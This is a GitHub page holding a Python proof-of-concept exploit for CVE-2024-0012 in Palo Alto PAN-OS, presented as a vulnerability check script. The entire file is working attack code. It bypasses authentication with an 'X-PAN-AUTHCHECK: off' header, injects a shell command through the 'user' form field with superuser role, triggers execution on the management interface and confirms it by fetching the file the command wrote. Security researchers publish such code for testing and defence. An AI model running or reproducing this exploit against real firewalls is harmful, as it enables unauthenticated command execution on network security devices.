-
Notifications
You must be signed in to change notification settings - Fork 4
/
cve-2024-0012-pan-os-poc.py
142 lines (120 loc) · 4.72 KB
/
cve-2024-0012-pan-os-poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def setup_logging():
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
class VulnChecker:
def __init__(self, base_url, verify_ssl=False, timeout=30):
self.base_url = base_url
self.verify_ssl = verify_ssl
self.timeout = timeout
self.session = requests.Session()
if not verify_ssl:
urllib3.disable_warnings(InsecureRequestWarning)
self.session.verify = False
def make_request(self, method, endpoint, **kwargs):
try:
url = urljoin(self.base_url, endpoint)
kwargs['timeout'] = self.timeout
kwargs['verify'] = self.verify_ssl
response = self.session.request(method, url, **kwargs)
response.raise_for_status()
return response
except requests.exceptions.SSLError as e:
logging.error(f"SSL Error: {str(e)}")
logging.info("Try using --no-verify if the target uses self-signed certificates")
return None
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {str(e)}")
return None
def create_initial_session(self):
"""Create initial session with command injection payload"""
headers = {
'X-PAN-AUTHCHECK': 'off',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Command injection payload to write system info to file
data = {
'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
response = self.make_request(
'POST',
'/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
headers=headers,
data=data
)
if response and 'PHPSESSID' in response.cookies:
phpsessid = response.cookies['PHPSESSID']
logging.info(f"Initial session created: {phpsessid}")
return phpsessid
return None
def trigger_execution(self, phpsessid):
"""Trigger command execution via index page"""
headers = {
'Cookie': f'PHPSESSID={phpsessid}',
'X-PAN-AUTHCHECK': 'off',
'Connection': 'keep-alive'
}
response = self.make_request(
'GET',
'/index.php/.js.map',
headers=headers
)
if response:
logging.info(f"Trigger response status: {response.status_code}")
if response.text:
logging.info(f"Response content length: {len(response.text)}")
return True
return False
def verify_execution(self):
"""Verify command execution by checking created file"""
response = self.make_request(
'GET',
'/unauth/watchTowr.php'
)
if response and response.status_code == 200:
logging.info("Command execution verified")
if response.text:
logging.info(f"System info: {response.text.strip()}")
return True
return False
def main():
parser = argparse.ArgumentParser(description='Vulnerability Check Script')
parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
args = parser.parse_args()
setup_logging()
logging.info(f"Starting vulnerability check against {args.url}")
checker = VulnChecker(
args.url,
verify_ssl=not args.no_verify,
timeout=args.timeout
)
# Step 1: Create session with command injection payload
phpsessid = checker.create_initial_session()
if not phpsessid:
logging.error("Session creation failed")
return
# Step 2: Trigger command execution
if checker.trigger_execution(phpsessid):
logging.info("Command execution triggered successfully")
# Step 3: Verify the result
if checker.verify_execution():
logging.info("Verification completed successfully")
else:
logging.error("Verification failed - file not created or accessible")
else:
logging.error("Command execution trigger failed")
if __name__ == "__main__":
main()